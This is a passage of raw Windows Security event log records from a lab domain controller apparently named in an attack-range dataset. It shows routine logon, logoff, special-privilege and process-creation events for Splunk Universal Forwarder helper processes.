%%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:55:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256916 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x47DD92 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:55:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256915 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x47DD92 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 59185 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:55:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256914 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x47DD92 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:56:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256917 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8b8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:56:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256918 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x39c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:56:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256919 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcf8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:56:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256920 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x6f8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:56:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256921 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe64 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:56:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256923 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x340 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:56:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256922 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10ec - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:56:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256926 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x481394 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:56:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256925 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x481394 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 59198 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:56:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256924 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x481394 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:57:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256932 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4822EC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:57:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256931 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4822EC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 59202 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:57:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256930 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4822EC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:57:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256929 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x482280 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:57:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256928 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x482280 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 59201 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:57:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256927 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x482280 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:57:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256933 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9ec - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:57:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256934 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1164 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:57:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256935 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1014 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:57:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256936 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12b8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:57:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 